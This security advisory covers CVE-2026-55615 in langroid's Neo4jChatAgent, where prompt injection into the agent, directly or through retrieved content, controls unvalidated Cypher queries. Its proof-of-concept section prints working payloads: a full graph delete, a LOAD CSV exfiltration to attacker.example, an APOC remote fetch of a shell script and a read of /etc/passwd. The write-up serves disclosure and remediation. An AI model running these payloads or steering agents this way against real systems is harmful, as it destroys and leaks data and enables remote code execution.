criticalCVE-2026-55615Jul 6, 2026

CVE-2026-55615: langroid Neo4jChatAgent Prompt-to-Cypher Injection (RCE)

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Langroid's Neo4jChatAgent passes LLM-generated Cypher queries directly to the Neo4j driver with no validation, letting anyone who can influence the agent's prompt read or destroy all graph data and, w

Packagelangroid
Ecosystempip
Affected<= 0.65.4
Fixed in0.65.5

The problem

Neo4jChatAgent exposes two tools, CypherRetrievalTool and CypherCreationTool, whose `cypher_query` field is populated entirely by the LLM. Both are enabled unconditionally at agent startup. The LLM-supplied string reaches `session.run(query, parameters)` (read path) and `tx.run(query, parameters)` (write path) with no interposed validation whatsoever.

The only string inspection in `write_query` is a `.upper()` substring check whose sole effect is setting `self.config.database_created = True`. It blocks nothing. An attacker who can steer the prompt (directly or via RAG-injected content) controls the executed Cypher.

At minimum this gives full graph read/write/destroy and LOAD CSV SSRF. When APOC or `dbms.*` procedures are granted to the database role, the ceiling is OS-command and filesystem access, matching the parent CVE-2026-25879.

Proof of concept

A working proof-of-concept for CVE-2026-55615 in langroid, with the exact payload below.

bash
# --- Sink trace (derived from advisory + source analysis, no live Neo4j required) ---

# 1. Verify the guard is absent (one shell command proves the asymmetry):
grep -n "_validate_query\|allow_dangerous" langroid/agent/special/sql/sql_chat_agent.py
# -> many hits: gate definition (:256), validator (:618-704), call site (:721)
grep -n "_validate_query\|allow_dangerous" langroid/agent/special/neo4j/neo4j_chat_agent.py
# -> ZERO hits

# 2. Read path: LLM-controlled string flows unobstructed to session.run()
#    neo4j_chat_agent.py:325  query = msg.cypher_query
#    neo4j_chat_agent.py:328  self.read_query(query)
#    neo4j_chat_agent.py:223  session.run(query, parameters)   <-- sink, no validation

# 3. Write path: same string flows to tx.run()
#    neo4j_chat_agent.py:348  query = msg.cypher_query
#    neo4j_chat_agent.py:351  self.write_query(query)
#    neo4j_chat_agent.py:276  tx.run(query, parameters)        <-- sink, no validation

# 4. Minimal Cypher payloads the agent will execute verbatim (non-contingent floor):
#    Full graph destroy (same statement the built-in remove_database helper uses):
MATCH (n) DETACH DELETE n

#    SSRF / remote fetch (built-in Cypher, no APOC needed):
LOAD CSV FROM 'http://attacker.example/exfil?d='+toString(id(n)) AS row MATCH (n) RETURN n

# 5. APOC-contingent ceiling (RCE when apoc.* procedures are granted to the DB role):
CALL apoc.load.url('http://attacker.example/shell.groovy') YIELD value RETURN value
# or: CALL apoc.cypher.runFile('/etc/passwd') YIELD value RETURN value

The root cause is CWE-74 (Injection via downstream component): `msg.cypher_query` is LLM-controlled and reaches the Neo4j driver as the first positional argument to `session.run()` / `tx.run()` with no sanitization, allowlist, or opt-out gate in the call chain.

The patch asymmetry is the clearest proof. SQLChatAgent, fixed for the parent CVE, enforces a `_validate_query` call at `sql_chat_agent.py:721` before every execution: a dangerous-pattern regex blocklist, a sqlglot statement-type allowlist defaulting to SELECT-only, and an AST-level dangerous-function check.

A grep for `_validate_query` or `allow_dangerous` in `neo4j_chat_agent.py` returns zero results on the vulnerable commit (HEAD b9df06f, v0.65.3).

The same project applied the defence to SQL and simply omitted it for Cypher, which is the definition of an incomplete fix for the same injection class.

The fix

Upgrade to langroid 0.65.5 or later. The patch mirrors the SQLChatAgent controls: a new `allow_dangerous_operations: bool = False` config gate on `Neo4jChatAgentConfig`, with `CypherRetrievalTool` restricted to read-only queries by default and both tools rejecting `LOAD CSV`, `CALL apoc.*`, `CALL dbms.*`, and `CALL db.*` admin procedures unless the operator explicitly sets `allow_dangerous_operations=True`.

Validation is enforced at the tool handlers before `session.run()` and `tx.run()`. The sibling `ArangoChatAgent` (AQL) received the same fix in the same release. Run the agents against a least-privilege database role regardless of the setting.

Reporter not attributed.

References: [1][2]

Related research